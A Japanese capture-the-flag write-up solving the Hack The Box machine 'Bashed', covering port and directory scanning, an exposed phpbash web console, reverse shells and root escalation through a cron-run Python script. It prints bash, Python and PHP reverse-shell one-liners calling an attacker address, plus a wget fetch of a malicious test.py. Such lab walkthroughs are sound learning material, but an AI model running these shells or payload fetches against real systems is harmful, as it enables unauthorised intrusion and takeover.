偵察/スキャン
nmapの結果、TCP/80が空いていることがわかりました。
┌──(kali㉿kali)-[~] └─$ ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.68 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) ┌──(kali㉿kali)-[~] └─$ nmap -sC -sV -p$ports 10.10.10.68 Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-06 13:24 JST Nmap scan report for 10.10.10.68 Host is up (0.58s latency). PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Arrexel's Development Site 3088/tcp closed xdtp
ブラウザでアクセスしてみるとphpbashについて書かれた記事が表示されます。
その他、アクセスできる場所がないか調べてみます。
┌──(kali㉿kali)-[~] └─$ dirb http://10.10.10.68 ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Wed Jul 6 13:29:27 2022 URL_BASE: http://10.10.10.68/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://10.10.10.68/ ---- ==> DIRECTORY: http://10.10.10.68/css/ ==> DIRECTORY: http://10.10.10.68/dev/ ==> DIRECTORY: http://10.10.10.68/fonts/ ==> DIRECTORY: http://10.10.10.68/images/ + http://10.10.10.68/index.html (CODE:200|SIZE:7743) ==> DIRECTORY: http://10.10.10.68/js/ ==> DIRECTORY: http://10.10.10.68/php/ + http://10.10.10.68/server-status (CODE:403|SIZE:299) ==> DIRECTORY: http://10.10.10.68/uploads/ ---- Entering directory: http://10.10.10.68/css/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://10.10.10.68/dev/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://10.10.10.68/fonts/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://10.10.10.68/images/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://10.10.10.68/js/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://10.10.10.68/php/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://10.10.10.68/uploads/ ---- + http://10.10.10.68/uploads/index.html (CODE:200|SIZE:14) ----------------- END_TIME: Wed Jul 6 14:02:11 2022 DOWNLOADED: 9224 - FOUND: 3
調査結果より/devにアクセスできることがわかります。
/dev配下のphpbash.phpにアクセスするとWebコンソールのようなページが表示されます。現在は「www」というユーザです。 このユーザができることを調べてみます。
scriptmanagerというユーザが存在し、コマンドが実行可能なのですがWebコンソールからは実行できませんでした。
補足:sudo -l
sudo -lの実行結果にある実行結果(scriptmanager:scriptmanager)は、左側がユーザ、右側がグループを表します。
また、()外のALLは実行できるコマンドを表します。
※NOPASSWDはパスワードが不要の意味
アクセスの取得
Webコンソールではうまく動作しないので、リバースシェルの取得を試してみます。
リバースシェルの取得方法は複数あります。
bashを使う方法
bash -i 9<>/dev/tcp/<addr>/<port> <&9 >&9 2>&9
Pythonを使う方法
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect*1;os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
phpを使う方法
php -r '$sock=fsockopen("<addr>",<port>);exec("/bin/bash -i <&3 >&3 2>&3");'
bashを使う方法はうまくいきませんでした。
bashedではpythonが使えるようです。
接続を待ち受けるターミナルで以下を実行。
nc -lvnp 4444
bashed上で以下を実行。
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.2",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
リバースシェルが取得できました。
また、先ほどできなかったscriptmanagerへの切り替えもうまくできました。
scriptmanagerでディレクトリを見てみると/配下にscriptsというディレクトリがあり、その中にPythonのプログラムとテキストファイルが配置されています。
Pythonファイルはテキストファイルに書き込みを行うようなものであることがわかります。
また、test.txtはrootが所有(test.pyをrootが実行)しており更新時間を見ると定期的に更新が行われているようです。
そのため、test.pyを書き換えてリバースシェルを取得することでroot権限が取得できると思われます。
権限昇格
シェルを取得するtest.pyをkali側で作成します。
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.2",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
kali側でhttpサーバを立ち上げます。
python -m SimpleHTTPServer もしくは python3 -m http.server
bashedで上記ファイルを取得します。
wget http://10.10.16.2:80/test.py -O ./test.py
しばらくすると、kali側でrootのシェルを取得することができます。
参考にさせていただいたサイト
貴重な情報をありがとうございます。
*1:"<addr>",<port>